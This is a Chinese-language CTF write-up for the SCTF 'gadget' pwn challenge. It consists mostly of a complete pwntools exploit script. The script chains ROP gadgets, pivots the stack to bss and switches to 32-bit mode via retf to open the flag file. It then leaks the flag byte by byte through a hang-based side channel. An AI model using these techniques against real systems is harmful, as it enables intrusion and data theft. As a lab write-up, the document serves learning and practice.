ORA——SCTF gadget


推迟了好久的复现,那就在情人节这个特殊的日子复现一波吧。这题除了 ora 之外特别的地方就是用到了 retf 来进行 32 位和 64 位的切换。参考了 winmt 师傅的博客复现了一下。

import time
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'

#s = process('./gadget')
elf = ELF('./gadget')

bss_addr = elf.bss() + 0x500
pop_rax_ret = 0x0000000000401001
pop_rbx_r14_r15_rbp_ret = 0x0000000000403072
pop_rcx_ret = 0x000000000040117b
pop_rdi_rbp_ret = 0x0000000000401734
pop_rsi_r15_rbp_ret = 0x0000000000401732
pop_r12_r14_r15_rbp_ret = 0x000000000040172f
pop_rsp_ret = 0x0000000000409d1c
pop_rbp_ret = 0x0000000000401102
pop_rdi_jmp_rax = 0x0000000000402be4
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x0000000000402C04
syscall_pop_rbp_ret = 0x0000000000401165
syscall_ret = 0x0000000000408865
int80_ret = 0x00000000004011f3
retf_addr = 0x00000000004011ed
cmp_addr = 0x0000000000408266 # cmp byte ptr [rax - 0x46] , cl; push rbp; ret 0x5069
jnz_0x405837 = 0x0000000000405831
loop = 0x0000000000405837 # jmp 0x405837

def pwn(index,char):
    payload = b'\x00'*0x38
    payload+= p64(pop_rax_ret) + p64(0)
    payload+= p64(pop_rdi_rbp_ret) + p64(0)*2
    payload+= p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
    payload+= p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
    payload = payload.ljust(0xc0 , b'\x00')
    s.send(payload)
    
    sleep(0.1)

    payload = b'./flag\x00\x00' 
    payload+= p64(pop_rax_ret) + p64(5)
    payload+= p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0)*3
    payload+= p64(pop_rcx_ret) + p64(0)
    payload+= p64(retf_addr) + p32(int80_ret) + p32(0x23)
    payload+= p32(retf_addr) + p32(pop_rax_ret) + p32(0x33) + p64(0)
    payload+= p64(pop_rdi_rbp_ret) + p64(3) + p64(0)
    payload+= p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200) + p64(0)*2
    payload+= p64(syscall_pop_rbp_ret) + p64(0)
    payload+= p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index)
    payload+= p64(pop_rcx_ret) + p64(char)
    payload+= p64(pop_rbp_ret) + p64(jnz_0x405837)
    payload+= p64(cmp_addr)
    s.sendline(payload)


flag = ""
for i in range (len(flag),0x20):
    char = 32    
    while True :
        s = process('./gadget')
        pwn(i , char)
        try:
            s.recv(timeout = 0.2)
            #success(chr(char))
            char += 1
            s.close()
        except:
            flag += chr(char)
            log.info(flag)
            s.close()
            break
    if(flag[-1] == '}'):
        break
        log.info(flag)
s.interactive()    

附件

提取码:an54

参考链接: